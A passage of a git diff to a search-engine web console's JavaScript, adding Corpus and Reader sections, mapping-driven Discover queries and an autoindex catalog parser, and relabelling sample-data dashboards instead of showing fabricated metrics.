guest gets (guest-app.js).+// ============================================================++export const READER_MOUNT = '<div data-safe-mount="reader" class="rd-mount"></div>';++export const reader = {+ id: 'reader',+ name: 'Reader',+ section: 'reader',+ render: () => ({+ title: 'READER',+ kicker: 'ONE RECORD, AND WHAT LINKS TO IT',+ meta: [],+ caption: '',+ panels: [+ { id: 'reader', eyebrow: 'SEARCH · RECORD · LINKED RECORDS', cols: 12, type: 'reader',+ render: () => READER_MOUNT,+ },+ ],+ }),+};diff --git a/xerj-ux/src/dashboards/registry.js b/xerj-ux/src/dashboards/registry.jsindex 3ac18f492..7de0f51ac 100644--- a/xerj-ux/src/dashboards/registry.js+++ b/xerj-ux/src/dashboards/registry.js@@ -4,12 +4,12 @@// Two taxonomies at play://// 1. SECTIONS are the primary product surface — the top nav.-// Order = what users look for first, per user-feedback/kibana/:-// dashboards → discover → alerts → data → users → settings+// Order = what a `xerj brain <folder>` user looks for first:+// corpus → discover → reader → dashboards → alerts → data → users → settings//// 2. DASHBOARDS live under SECTION='dashboards' and appear in// the secondary nav row. Other sections each have exactly-// one view (discover, alerts, data, users, settings).+// one view (corpus, discover, reader, alerts, data, users, settings).// ============================================================import { aiOverview } from './ai-overview.js';@@ -22,7 +22,9 @@ import { ingestPipeline } from './ingest-pipeline.js';import { logsOverview } from './logs-overview.js';import { system } from './system.js';+import { corpus } from './corpus.js'; // CORPUS section (home)import { searchDiscover } from './search-discover.js'; // DISCOVER section+import { reader } from './reader.js'; // READER sectionimport { alerts } from './alerts.js'; // ALERTS sectionimport { dataSection } from './data.js'; // DATA sectionimport { users } from './users.js'; // USERS section@@ -81,8 +83,12 @@ const all = [aiOverview, ragQuality, vectorIndex, agentMemory, secondBrain,logsOverview, anomalyDetect, ingestPipeline,system,- // Top-level sections (one view each)+ // Top-level sections (one view each). Corpus / Discover / Reader are+ // the `xerj brain` product path — and the only three a shared-link+ // guest ever sees (data/guest.js).+ corpus,searchDiscover,+ reader,alerts,dataSection,users,@@ -92,13 +98,16 @@ const all = [export const defaults = all;export const registry = Object.fromEntries(all.map((d) => [d.id, d]));-// Primary nav: one entry per section. Order matters — this is the-// order corpus priority told us users scan. The label is uppercase-// UI text; the id maps to a section. Each section knows which view-// to render when clicked (the first dashboard in that section).+// Primary nav: one entry per section. Order matters — a brain user+// wants their data first: what is indexed (Corpus), search it+// (Discover), read it (Reader). The label is uppercase UI text; the+// id maps to a section. Each section knows which view to render when+// clicked (the first dashboard in that section).export const SECTIONS = [- { id: 'dashboards', label: 'Dashboards' },+ { id: 'corpus', label: 'Corpus' },{ id: 'discover', label: 'Discover' },+ { id: 'reader', label: 'Reader' },+ { id: 'dashboards', label: 'Dashboards' },{ id: 'alerts', label: 'Alerts' },{ id: 'data', label: 'Data' },{ id: 'users', label: 'Users' },diff --git a/xerj-ux/src/dashboards/search-discover.js b/xerj-ux/src/dashboards/search-discover.jsindex 022b84f40..f421f6d3f 100644--- a/xerj-ux/src/dashboards/search-discover.js+++ b/xerj-ux/src/dashboards/search-discover.js@@ -1,238 +1,133 @@// ============================================================// Dashboard — SEARCH · DISCOVER (interactive query console)//-// Real features shown here — every one maps to code in the-// engine audit:-// • 8 query types (subset of 24 the DSL supports)-// • terms-agg facet sidebar (exact cardinality, not HLL)-// • POST /v1/indices/:name/search preview in XERJ.ai DSL-// • POST /v1/indices/:name/explain-plan tree-// • hits w/ _index / _id / _score / _source / @timestamp+// Everything on this page comes from the engine, for the index you picked:+// • the index picker is the engine's real index list (`*` + names);+// • the query runs against the fields the index's MAPPING actually has+// (data/schema.js → roles), not a fixed `message` / `embedding`;+// • facets are terms aggregations on that mapping's keyword fields;+// • the histogram is a date_histogram on its date field, when it has one;+// • the REQUEST panel shows the body that was sent — built by the same+// function that built it (data/search-body.js), so preview and execution+// cannot drift (#923 review finding 8).+//+// There is no sample result set. While a search is in flight the table says+// so; when one fails it shows the error and zero rows (#923 finding 5). The+// page used to ship a fabricated query plan, fabricated QPS / latency series+// and hardcoded "52.4M documents" tiles; none of those had a live source, so+// they are gone rather than relabelled.// ============================================================-import { Num } from '../ux/text.js';-import { Spark, Series } from '../ux/charts.js';-import { SearchBox, Hits, Facet, QueryDSL, QueryPlanTree, Citations } from '../ux/charts-ops.js';-import { VBar } from '../ux/charts-ext.js';-import { dashboardCitations } from '../data/feedback-citations.js';--// All 8 query types we expose in the UI (mapping to real DSL nodes)-const QUERY_TYPES = ['match', 'term', 'range', 'prefix', 'phrase', 'knn', 'semantic', 'hybrid'];-const INDICES = ['*', 'chat-events', 'logs-ssh-auth', 'agent-memory', 'vector-ops', 'anomalies', 'ai-kb'];--// Build the XERJ.ai query DSL object matching the current SearchBox state.-function buildDsl({ q, type, index, filters }) {- const filterList = Object.entries(filters || {}).map(([f, v]) => ({ term: { [f]: v } }));- let inner;- switch (type) {- case 'term': {- const m = (q || '').match(/^([a-z_]+)\s*=\s*(.+)$/i);- inner = m ? { term: { [m[1]]: m[2] } } : { match_all: {} };- break;- }- case 'range': {- const m = (q || '').match(/^([a-z_]+)\s*(>=|<=|>|<)\s*(\d+(?:\.\d+)?)$/i);- if (m) {- const [, f, op, v] = m;- const k = op === '>=' ? 'gte' : op === '<=' ? 'lte' : op === '>' ? 'gt' : 'lt';- inner = { range: { [f]: { [k]: Number(v) } } };- } else inner = { match_all: {} };- break;- }- case 'prefix': inner = q ? { prefix: { message: q } } : { match_all: {} }; break;- case 'phrase': inner = q ? { match_phrase: { message: q } } : { match_all: {} }; break;- case 'knn': inner = { knn: { field: 'embedding', query_vector: '<inline>', k: 10, ef_search: 96 } }; break;- case 'semantic': inner = { semantic: { field: 'embedding', query: q || '*', model: 'text-embed-3' } }; break;- case 'hybrid': inner = { hybrid: {- fusion: 'rrf',- queries: [- { match: { message: q || '*' } },- { knn: { field: 'embedding', query_vector: '<inline>', k: 20 } },- ],- rank_constant: 60,- } }; break;- default: inner = q ? { match: { message: q } } : { match_all: {} };- }- const body = filterList.length- ? { query: { bool: { must: inner, filter: filterList } } }- : { query: inner };- return {- method: 'POST',- path: '/v1/indices/' + (index === '*' ? '*' : index) + '/search',- body: { ...body, size: 25, track_total_hits: true,- aggs: {- by_level: { terms: { field: 'level', size: 8 } },- by_service: { terms: { field: 'service', size: 8 } },- by_host: { terms: { field: 'host', size: 8 } },- }- },- };+import { esc } from '../ux/text.js';+import { SearchBox, Hits, Facet, QueryDSL, Citations } from '../ux/charts-ops.js';+import { VBar } from '../ux/charts-ext.js';+import { dashboardCitations } from '../data/feedback-citations.js';+import { QUERY_TYPES, buildSearchBody, requestPath } from '../data/search-body.js';++/** What the REQUEST panel shows: the executed body when the engine has+ * answered (or failed), else the body the current state WOULD send. */+export function previewRequest(search, r) {+ const index = r?.resolvedIndex || (search?.index && search.index !== '*' ? search.index : null);+ const body = r?.request+ || buildSearchBody(search?.q, search?.type, search?.filters, r?.roles, { sort: search?.sort });+ return { path: requestPath(index), body };}-// Build a fake query plan matching the DSL (the planner would produce one)-function buildPlan({ type, q, filters }, total) {- const filterCount = Object.keys(filters || {}).length;- const root = { op: 'BoolQuery', estimate: total, cost: total + 80, children: [] };- switch (type) {- case 'hybrid':- root.op = 'Hybrid(rrf,60)';- root.children.push(- { op: 'MatchQuery', field: 'message', value: q || '*', estimate: Math.round(total * 1.8), cost: Math.round(total * 1.8 + 20) },- { op: 'KnnQuery', field: 'embedding', value: 'k=20 ef_search=96', estimate: 20, cost: 420 },- );- break;- case 'knn':- root.op = 'KnnQuery';- root.field = 'embedding';- root.value = 'k=10 ef_search=96';- root.estimate = 10;- root.cost = 310;- break;- case 'semantic':- root.op = 'SemanticSearch';- root.field = 'embedding';- root.value = `embed(${q || '*'}) → knn`;- root.children.push(- { op: 'EmbedAt/Query', estimate: 1, cost: 120 },- { op: 'KnnQuery', field: 'embedding', value: 'k=10', estimate: 10, cost: 280 },- );- break;- case 'term':- root.op = 'TermQuery';- root.value = q;- root.estimate = total;- root.cost = Math.round(total * 0.05 + 8);- break;- case 'range':- root.op = 'RangeQuery';- root.value = q;- root.estimate = Math.round(total * 0.4);- root.cost = Math.round(total * 0.1 + 16);- break;- case 'prefix':- root.op = 'PrefixQuery';- root.value = q;- root.children.push({ op: 'FstScan', estimate: total * 2, cost: total * 0.6 });- break;- case 'phrase':- root.op = 'MatchPhrase';- root.value = `"${q}"`;- root.children.push({ op: 'PostingsIntersect', estimate: total, cost: total * 0.8 });- break;- default:- root.op = 'MatchQuery';- root.field = 'message';- root.value = q;- root.children.push({ op: 'BM25Scorer', estimate: total, cost: total * 0.3 });- }- if (filterCount > 0) {- root.children.push({- op: 'FilterCtx', field: 'post-filter', value: `${filterCount} term(s)`, estimate: total, cost: filterCount * 4,- });- }- // Always terminate with a TopK collector (matching the real planner)- root.children.push({ op: 'TopKCollector', value: 'k=25', estimate: 25, cost: 8 });- return root;-}+const row = (k, v) => `+ <div class="row-flex"><span class="hint" style="min-width:150px;">${esc(k)}</span><span class="mono">${esc(v)}</span></div>`;export const searchDiscover = {id: 'search-discover',name: 'Search · Discover',- render: ({ data, time, search }) => {+ render: ({ search, indices }) => {const r = search?.result;- const dsl = buildDsl(search);- const plan = buildPlan(search, r?.total ?? 0);+ const req = previewRequest(search, r);+ const roles = r?.roles || null;+ // Index picker follows the engine. Before the first mapping load it holds+ // `*` alone — never an illustrative list of indices that do not exist+ // (#923 review finding 4).+ const idxList = ['*', ...((indices && indices.length) ? indices : [])];+ const resolved = r?.resolvedIndex || null;+ // `*` runs against ONE index (the console's search proxy takes a single+ // exact name). Say which, on the page, every time (#923 finding 3).+ const scope = !resolved ? ''+ : (search?.index === '*' || !search?.index)+ ? (r?.narrowed ? ` · * SEARCHES ONE INDEX AT A TIME — SHOWING ${resolved}` : ` · ${resolved}`)+ : ` · ${resolved}`;return {title: 'SEARCH · DISCOVER',kicker: 'INTERACTIVE QUERY CONSOLE',- meta: [time, '24 DSL TYPES · EXACT AGGS'],- caption: 'Type a query, press Enter. All 8 query families, 14 aggregation types, and exact cardinality run against the live XERJ.ai index. The plan below comes from POST /v1/indices/:name/explain-plan.',+ meta: resolved ? [resolved.toUpperCase()] : [],+ caption: 'Type a query, press Enter. The query, the facets and the histogram all use the fields this index\'s mapping really has, and the REQUEST panel shows exactly what was sent. SEMANTIC and HYBRID use the index\'s semantic_text field; with the default embedder that is lexical feature hashing, not a neural model.',panels: [{ id: 'searchbox', eyebrow: 'QUERY · TYPE · INDEX · FILTERS', cols: 12, type: 'searchbox',render: () => SearchBox({value: search?.q ?? '',types: QUERY_TYPES,- activeType: search?.type ?? 'match',- indices: INDICES,+ activeType: QUERY_TYPES.includes(search?.type) ? search.type : 'match',+ indices: idxList,activeIndex: search?.index ?? '*',filters: search?.filters ?? {},}),},- { id: 'hits', eyebrow: 'RESULTS · CLICK A COLUMN TO SORT · CLICK INDEX TO FILTER', cols: 8, type: 'hits',+ { id: 'hits', eyebrow: 'RESULTS' + scope, cols: 8, type: 'hits',render: () => Hits({hits: r?.hits || [],total: r?.total ?? 0,tookMs: r?.tookMs ?? 0,maxScore: r?.maxScore ?? null,+ pending: !r || !!r.pending,+ error: r?.error || null,sort: search?.sort,showTime: search?.showTime !== false,// Field display names — GH#1896 (65 reactions): users want to see// friendlier column headers than the internal field names.- labels: { _index: 'INDEX', _id: 'ID', _score: 'SCORE', _ts: 'TIME', _source: 'MESSAGE' },+ labels: { _index: 'INDEX', _id: 'ID', _score: 'SCORE', _ts: 'TIME', _source: 'SOURCE' },}),},{ id: 'facets', eyebrow: 'FACETS · CLICK TO FILTER', cols: 4, type: 'facet',- render: () => `- ${Facet({ field: 'level', items: r?.facets.level || [], active: search?.filters?.level })}- ${Facet({ field: 'service', items: r?.facets.service || [], active: search?.filters?.service })}- ${Facet({ field: '_index', items: r?.facets._index || [], active: search?.filters?._index })}- ${Facet({ field: 'host', items: r?.facets.host || [], active: search?.filters?.host })}- `,- },-- { id: 'histogram', eyebrow: 'DATE_HISTOGRAM · INTERVAL=1H', cols: 8, type: 'bar',- render: () => VBar({- items: (r?.histogram || Array.from({length:24}, ()=>0)).map((v, i) => ({- label: String(i).padStart(2, '0'), value: v,- })),- h: 140, unit: 'hits/bucket',- }),- },-- { id: 'searchMetrics', eyebrow: 'INDEX · LIVE', cols: 4, type: 'metric',+ // One block per keyword field the backend derived from the mapping+ // (plus `_index`). No hardcoded level / service / host.render: () => {- const totalDocs = data?.metrics?.totalDocs?.formatted || '52.4M';- const uniqueTerms = data?.metrics?.uniqueTerms?.formatted || '18.9M';- return `- <div class="stack-3">- <div class="row-flex">- <div class="num-md accent">${totalDocs}</div>- <span class="hint">documents</span>- </div>- <div class="row-flex">- <div class="num-md">${uniqueTerms}</div>- <span class="hint">unique terms · exact cardinality</span>- </div>- <div class="row-flex">- <div class="num-md">${data?.metrics?.p95?.formatted || '10.4'}<span class="num-unit">ms</span></div>- <span class="hint">p95 query latency</span>- </div>- </div>`;+ const f = r?.facets || {};+ const keys = Object.keys(f).filter((k) => (f[k] || []).length);+ if (!keys.length && r?.request && !r.request.aggs) {+ return '<div class="mono faint">No facets or histogram under HYBRID: the engine does not run aggregations beside a fusion query. Switch to MATCH or SEMANTIC to see them.</div>';+ }+ if (!keys.length) return '<div class="mono faint">No facets: this result has no keyword-field buckets.</div>';+ return keys.map((k) => Facet({ field: k, items: f[k] || [], active: search?.filters?.[k] })).join('');},},- { id: 'dsl', eyebrow: 'REQUEST · POST ' + dsl.path, cols: 6, type: 'markdown',- render: () => QueryDSL(dsl.body),- },-- { id: 'plan', eyebrow: 'QUERY PLAN · FROM EXPLAIN-PLAN ENDPOINT', cols: 6, type: 'plan',- render: () => QueryPlanTree(plan),+ { id: 'histogram', eyebrow: `DATE_HISTOGRAM · ${r?.histogramField ? r.histogramField.toUpperCase() + ' · 1D' : 'NO DATE FIELD'}`, cols: 8, type: 'bar',+ render: () => {+ const buckets = Array.isArray(r?.histogram) ? r.histogram : [];+ if (r?.request && !r.request.aggs) return '<div class="mono faint">No histogram under HYBRID (the engine does not run aggregations beside a fusion query).</div>';+ if (!r?.histogramField) return '<div class="mono faint">This index\'s mapping has no date field, so there is nothing to bucket by time.</div>';+ if (!buckets.length) return '<div class="mono faint">No dated records in this result.</div>';+ return VBar({ items: buckets.slice(-60), h: 140, unit: 'hits/day' });+ },},- { id: 'qps', eyebrow: 'QUERIES/s OVER TIME', cols: 6, type: 'line',- render: () => Series(data?.series?.queries || [], {- h: 100, labels: [data?.series?.startLabel, data?.series?.endLabel], unit: 'qps',- }),+ { id: 'searchMetrics', eyebrow: 'FIELDS THIS QUERY USES · FROM THE MAPPING', cols: 4, type: 'metric',+ render: () => {+ if (!roles) return '<div class="mono faint">Reading the mapping…</div>';+ return `<div class="stack-3">+ ${row('index', resolved || '—')}+ ${row('match / phrase / prefix', ((roles.searchFields && roles.searchFields.length ? roles.searchFields : [roles.textField]).filter(Boolean).join(', ') || '—') + (roles.searchFieldsCapped ? ' (the first 12 text fields)' : ''))}+ ${row('semantic / hybrid', roles.semanticField || '—')}+ ${row('time', roles.dateField || '— none —')}+ ${row('facets', (roles.keywordFields || []).slice(0, 3).join(', ') || '— none —')}+ </div>`;+ },},- { id: 'latency', eyebrow: 'p95 LATENCY OVER TIME', cols: 6, type: 'line',- render: () => Series(data?.series?.took_p95 || [], {- h: 100, labels: [data?.series?.startLabel, data?.series?.endLabel], unit: 'ms',- }),+ { id: 'dsl', eyebrow: 'REQUEST · POST ' + req.path + (r?.request ? ' · AS SENT' : ' · PREVIEW'), cols: 12, type: 'markdown',+ render: () => QueryDSL(req.body),},{ id: 'citations', eyebrow: 'WHY THIS PANEL EXISTS · USER FEEDBACK', cols: 12, type: 'citations',diff --git a/xerj-ux/src/dashboards/system.js b/xerj-ux/src/dashboards/system.jsindex 6f8a42ad0..03e2aa32c 100644--- a/xerj-ux/src/dashboards/system.js+++ b/xerj-ux/src/dashboards/system.js@@ -14,8 +14,9 @@ export const system = {name: 'System',render: ({ data, time }) => ({title: 'SYSTEM · OVERVIEW',- kicker: 'HOSTS · LOAD · AUTH',- meta: [time, 'METRICBEAT + AUTH'],+ kicker: 'HOST METRICS · SAMPLE',+ meta: [time, 'SAMPLE DATA'],+ caption: 'Sample host-metrics layout. XERJ has no host-metrics agent, so every panel here — CPU, memory, network, per-host, top processes, failed logins — is illustrative, not measured. Point a collector (Metricbeat / OTLP) at the host to make them live. Your engine\'s real figures (documents, indices, store) are on the Data tab.',panels: [{ id: 'hosts', eyebrow: 'HOSTS', cols: 3, type: 'metric',render: () => Num({diff --git a/xerj-ux/src/dashboards/users.js b/xerj-ux/src/dashboards/users.jsindex 3f791971d..85c48e77a 100644--- a/xerj-ux/src/dashboards/users.js+++ b/xerj-ux/src/dashboards/users.js@@ -26,8 +26,8 @@ export const users = {render: ({ data, time }) => ({title: 'USERS',kicker: 'IDENTITY · ACCESS · TOKENS',- meta: [time, 'RBAC'],- caption: 'No Spaces. No feature privileges matrix. No separate "role mapping" app. A user has a token. A role is a set of index prefixes and operations. A session is a token with an expiry. Everything else is hidden complexity we refuse to ship.',+ meta: [time, 'SAMPLE DATA'],+ caption: 'Illustrative sample data — not your engine\'s real users/tokens yet. It shows the intended model: no Spaces, no feature-privileges matrix, no separate "role mapping" app. A user has a token. A role is a set of index prefixes and operations. A session is a token with an expiry.',panels: [{ id: 'users', eyebrow: 'USERS', cols: 3, type: 'metric',diff --git a/xerj-ux/src/data/backends/index.js b/xerj-ux/src/data/backends/index.jsindex adce168cc..5f8cbea91 100644--- a/xerj-ux/src/data/backends/index.js+++ b/xerj-ux/src/data/backends/index.js@@ -53,7 +53,17 @@ const URL_KEY = (id) => `xerj-console.backend.${id}.baseUrl`;export function backendBaseUrl(id) {if (typeof localStorage === 'undefined') return BACKENDS[id]?.meta?.defaultBaseUrl || '';- return localStorage.getItem(URL_KEY(id)) || BACKENDS[id]?.meta?.defaultBaseUrl || '';+ const saved = localStorage.getItem(URL_KEY(id));+ if (saved) return saved;+ // The bundled console is served BY the engine it shows, so the engine is+ // this page's own origin — not the documentation default `localhost:9200`.+ // Falling back to :9200 made the live-feature probes (brains, data classes)+ // ask a DIFFERENT node whenever the console ran on any other port: the nav+ // then advertised dashboards for data this engine does not hold.+ if (id === 'xerj' && typeof window !== 'undefined' && window.location && /^https?:$/.test(window.location.protocol)) {+ return window.location.origin;+ }+ return BACKENDS[id]?.meta?.defaultBaseUrl || '';}export function setBackendBaseUrl(id, url) {diff --git a/xerj-ux/src/data/backends/xerj.js b/xerj-ux/src/data/backends/xerj.jsindex bdb6bea30..5b44605e7 100644--- a/xerj-ux/src/data/backends/xerj.js+++ b/xerj-ux/src/data/backends/xerj.js@@ -10,6 +10,10 @@// ============================================================import { liveSecondBrain } from '../second-brain-api.js';+import { schemaForSearch, indexNamesStrict } from '../schema.js';+import { buildSearchBody } from '../search-body.js';+import { CATALOG_INDEX, catalogQueryBody, parseCatalogHits } from '../catalog.js';+import { listUserIndices, INTERNAL_INDICES } from '../console-index-api.js';// Aggregation materialisation bypass.//@@ -84,7 +88,7 @@ export async function listIndices(baseUrl, signal) {* Scope: single exact index name only — no wildcard/`_all` resolution.* See `xerj-console-api::data_sources::search`'s doc comment for why.*/-async function rawSearch(baseUrl, index, body, signal) {+export async function rawSearch(baseUrl, index, body, signal) {const path = `/_xerj-console/api/v1/data-sources/connections/built-in/indices/${encodeURIComponent(index)}/search`;const r = await fetch(path, {method: 'POST',@@ -110,6 +114,7 @@ async function rawSearch(baseUrl, index, body, signal) {export async function search(baseUrl, dashId, ctx, signal) {switch (dashId) {case 'search-discover': return liveSearchDiscover(baseUrl, ctx, signal);+ case 'corpus': return liveCorpus(baseUrl, ctx, signal);case 'system': return liveSystem(baseUrl, ctx, signal);case 'logs-overview': return liveLogsOverview(baseUrl, ctx, signal);case 'data': return liveData(baseUrl, ctx, signal);@@ -128,23 +133,80 @@ export async function search(baseUrl, dashId, ctx, signal) {}}+// ── corpus ──────────────────────────────────────────────────────────+//+// The Corpus home: every dataset `xerj brain` / `xerj autoindex` recorded in+// the `autoindex-catalog` index, plus any other user index the engine holds+// (listed by name and document count, so an engine that was filled some other+// way does not read as "nothing indexed"). NEVER returns null and never+// throws: data/query.js treats null as "fall back to mock", and a fabricated+// corpus is the one thing this page must not be able to show.+async function liveCorpus(baseUrl, _ctx, signal) {+ let datasets = [];+ let catalogError = null;+ try {+ const resp = await rawSearch(baseUrl, CATALOG_INDEX, catalogQueryBody(), signal);+ datasets = parseCatalogHits(resp?.hits?.hits || []);+ } catch (e) {+ // No catalog index yet (HTTP 404) is the ordinary empty state, not an error.+ // A fetch that never reached the engine is a bare TypeError ("Failed to+ // fetch"): say what it means, as the Reader and the guest shell do.+ if (e instanceof TypeError) catalogError = 'engine unreachable';+ else if (!/HTTP 404/.test(String(e))) catalogError = String(e && e.message || e).slice(0, 200);+ }+ let others = [];+ try {+ const known = new Set(datasets.map((d) => d.index));+ others = (await listUserIndices(signal))+ .filter((it) => !INTERNAL_INDICES.has(it.name) && !known.has(it.name))+ .map((it) => ({ index: it.name, records: it.docs, emails: 0, attachments: 0, formats: [] }));+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ /* the catalog cards still stand on their own */+ }+ if (catalogError && !datasets.length && !others.length) return { status: 'error', error: catalogError, datasets: [], summaries: [] };+ return { status: 'ok', datasets, summaries: others, _live: true };+}+// ── search-discover ────────────────────────────────────────────────//-// The dashboard's `q` / `type` / `index` come in via ctx.search; we-// translate to an ES-compat query body and run it. Hits, total,-// per-field facets all come from one round-trip.+// The dashboard's `q` / `type` / `index` come in via ctx.search; the request+// body is built by data/search-body.js — the SAME function the DSL preview+// panel calls, so what is previewed is what runs (#923 review finding 8).+// Hits, total and per-field facets all come from one round-trip. Every+// failure is returned as `{ error }`; there is no fallback result set.async function liveSearchDiscover(baseUrl, ctx, signal) {const search = ctx.search || {};const q = search.q || '';const type = search.type || 'match';- const index = search.index === '*' ? '_all' : (search.index || '_all');+ const requested = search.index || '*';+ let index = requested === '*' ? '_all' : requested;++ // The console's panel-search proxy resolves a single exact index only —+ // wildcard/_all/multi-index is refused (501). `*` therefore runs against+ // ONE index, and the result says which (`resolvedIndex`) so the page can+ // show it: a picker that says `*` over results from one corpus is the+ // "what I see is not what was indexed" bug (#923 review finding 3).+ let narrowed = false;+ if (index === '_all') {+ const none = (error) => ({ error, hits: [], total: 0, took: 0, facets: {}, roles: null, resolvedIndex: null });+ let names;+ try { names = await indexNamesStrict(signal); } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return none(`could not read the index list (${String(e && e.message || e).slice(0, 80)})`);+ }+ if (!names.length) return none('nothing is indexed on this engine yet — run: xerj brain <folder>');+ index = names[0];+ narrowed = names.length > 1;+ }- const body = buildSearchBody(q, type, ctx);+ const roles = await schemaForSearch(baseUrl, index, signal);+ const body = buildSearchBody(q, type, ctx.filters, roles, { sort: search.sort });let response;try {response = await rawSearch(baseUrl, index, body, signal);} catch (e) {- return { error: String(e), hits: [], total: 0, took: 0, facets: {} };+ return { error: String(e && e.message || e), hits: [], total: 0, took: 0, facets: {}, roles, resolvedIndex: index, narrowed, request: body };}const total = response.hits?.total?.value ?? response.hits?.total ?? 0;@@ -153,74 +215,35 @@ async function liveSearchDiscover(baseUrl, ctx, signal) {_index: h._index,_score: h._score,_source: h._source,- '@timestamp': h._source?.['@timestamp'] || null,+ _ts: h._source?.[roles.dateField] || h._source?.['@timestamp'] || null,}));- const facets = {- by_level: bucketsToFacet(response.aggregations?.by_level),- by_service: bucketsToFacet(response.aggregations?.by_service),- by_host: bucketsToFacet(response.aggregations?.by_host),- };+ const facets = { _index: bucketsToFacet(response.aggregations?.by__index) };+ for (const f of roles.keywordFields.slice(0, 3)) {+ facets[f] = bucketsToFacet(response.aggregations?.[`by_${f}`]);+ }+ const dateBuckets = response.aggregations?.by_date?.buckets;return {total,took: response.took ?? 0,+ max_score: response.hits?.max_score ?? null,hits,facets,- raw: { query: body, response },- };-}--function buildSearchBody(q, type, ctx) {- const inner = (() => {- switch (type) {- case 'term': {- const m = (q || '').match(/^([a-z_]+)\s*=\s*(.+)$/i);- return m ? { term: { [m[1]]: m[2] } } : { match_all: {} };- }- case 'range': {- const m = (q || '').match(/^([a-z_]+)\s*(>=|<=|>|<)\s*(\d+(?:\.\d+)?)$/i);- if (!m) return { match_all: {} };- const [, f, op, v] = m;- const k = op === '>=' ? 'gte' : op === '<=' ? 'lte' : op === '>' ? 'gt' : 'lt';- return { range: { [f]: { [k]: Number(v) } } };- }- case 'prefix': return q ? { prefix: { message: q } } : { match_all: {} };- case 'phrase': return q ? { match_phrase: { message: q } } : { match_all: {} };- case 'semantic': return q ? { semantic: { field: 'embedding', query: q, k: 10 } }- : { match_all: {} };- case 'hybrid': return q ? {- hybrid: {- queries: [- { query: { match: { message: q } }, weight: 1.0 },- { query: { semantic: { field: 'embedding', query: q, k: 10 } }, weight: 0.8 },- ],- fusion: { type: 'rrf', k: 60 },- }- } : { match_all: {} };- case 'knn': return { match_all: {} }; // raw knn needs vector input — UI shows DSL only- default: return q ? { match: { message: q } } : { match_all: {} };- }- })();-- const filterList = Object.entries(ctx.filters || {}).map(([f, v]) => ({ term: { [f]: v } }));- const query = filterList.length- ? { bool: { must: inner, filter: filterList } }- : inner;-- return {- query,- size: 25,- track_total_hits: true,- aggs: {- by_level: { terms: { field: 'level', size: 8 } },- by_service: { terms: { field: 'service', size: 8 } },- by_host: { terms: { field: 'host', size: 8 } },- },+ histogram: Array.isArray(dateBuckets)+ ? dateBuckets.map((b) => ({ label: String(b.key_as_string || b.key).slice(0, 10), value: Number(b.doc_count) || 0 }))+ : null,+ histogramField: roles.dateField || null,+ roles,+ resolvedIndex: index,+ narrowed,+ request: body,+ _live: true,};}function bucketsToFacet(agg) {if (!agg || !Array.isArray(agg.buckets)) return [];- return agg.buckets.map((b) => ({ key: String(b.key), count: b.doc_count }));+ // ux/charts-ops.js#Facet reads { label, value, count }.+ return agg.buckets.map((b) => ({ label: String(b.key), value: String(b.key), count: Number(b.doc_count) || 0 }));}// ── system ────────────────────────────────────────────────────────@@ -233,25 +256,15 @@ function bucketsToFacet(agg) {// mock; once a metrics-ingest adapter lands in v0.7.x we'll fill// the live shape from the same xerj indices the user is watching.async function liveSystem(baseUrl, ctx, signal) {- // We don't have a host-metrics agent today, but `_cluster/stats`- // gives us real numbers we can drop into the headline tiles.- let stats;- try {- const r = await fetch(baseUrl + '/_cluster/stats', { signal });- if (!r.ok) return null;- stats = await r.json();- } catch (_e) { return null; }+ // Every panel this dashboard shows (CPU/mem/net, per-host, top-processes,+ // failed logins) is SAMPLE data — XERJ has no host-metrics agent, and the old+ // `_cluster/stats` overlay never ran anyway (it fetched the logical+ // backendBaseUrl :9200, which isn't reachable, so it returned null → mock).+ // Return the sample shape flagged `_sample` (never null) so query.js labels+ // the pill an honest "SAMPLE DATA" rather than "MOCK FALLBACK". The engine's+ // real cluster figures (documents / indices / store) live on the Data tab.const base = await loadMock('system', ctx);- const docs = stats?.indices?.docs?.count || 0;- const bytes = stats?.indices?.store?.size_in_bytes || 0;- const idxN = stats?.indices?.count || 0;- const shardN = stats?.indices?.shards?.total || 0;- base.metrics = base.metrics || {};- base.metrics.cpu = base.metrics.cpu || { value: 0, formatted: '—' };- base.metrics.disk = { value: bytes, formatted: (bytes / 1e9).toFixed(2) + ' GB', hint: 'live · xerj · stored' };- base.metrics.docs = { value: docs, formatted: docs.toLocaleString('en-US'), hint: 'live · xerj' };- base.metrics.indices = { value: idxN, formatted: String(idxN), hint: `live · xerj · ${shardN} shards` };- base._live = { source: '_cluster/stats', docs, bytes, indices: idxN, shards: shardN };+ base._sample = true;return base;}diff --git a/xerj-ux/src/data/catalog.js b/xerj-ux/src/data/catalog.jsnew file mode 100644index 000000000..a57276fd0--- /dev/null+++ b/xerj-ux/src/data/catalog.js@@ -0,0 +1,178 @@+// ============================================================+// XERJ Console — autoindex catalog → corpus cards+//+// `xerj autoindex` / `xerj brain` write one `doc_kind: "dataset"` document per+// dataset into the `autoindex-catalog` index (engine: xerj-autoindex/src/+// catalog.rs#dataset_doc). This module turns those documents into the cards+// the Corpus home renders, and turns a catalog sample query into a Discover+// search. Pure — no fetch, no DOM — so it is testable under node.+// ============================================================++export const CATALOG_INDEX = 'autoindex-catalog';++/** The body that lists every dataset document (one per corpus). */+export function catalogQueryBody() {+ return { query: { term: { doc_kind: 'dataset' } }, size: 200, track_total_hits: true };+}++function num(v) { const n = Number(v); return Number.isFinite(n) ? n : 0; }+function str(v) { return typeof v === 'string' ? v : (v == null ? '' : String(v)); }++function parseFields(fieldsJson) {+ let specs = [];+ try { specs = JSON.parse(fieldsJson || '[]'); } catch { specs = []; }+ if (!Array.isArray(specs)) return [];+ return specs+ .filter((f) => f && typeof f.name === 'string')+ .map((f) => ({+ name: f.name,+ type: str(f.es_type || f.type || 'object'),+ semantic: !!f.semantic,+ coverage: Number.isFinite(Number(f.coverage)) ? Number(f.coverage) : 1,+ cardinality: num(f.cardinality_est),+ examples: Array.isArray(f.examples) ? f.examples.slice(0, 2).map(str) : [],+ }));+}++function parseSampleQueries(arr) {+ const list = Array.isArray(arr) ? arr : (arr ? [arr] : []);+ const out = [];+ for (const item of list) {+ let q = item;+ if (typeof item === 'string') { try { q = JSON.parse(item); } catch { continue; } }+ if (!q || typeof q !== 'object') continue;+ out.push({+ class: str(q.class),+ title: str(q.title),+ request: str(q.request),+ body: q.body && typeof q.body === 'object' ? q.body : null,+ note: str(q.note),+ });+ }+ return out;+}++/** Search hits from the catalog index → one card per dataset, largest first. */+export function parseCatalogHits(hits) {+ const cards = [];+ for (const h of hits || []) {+ const s = (h && h._source) || {};+ if (s.doc_kind && 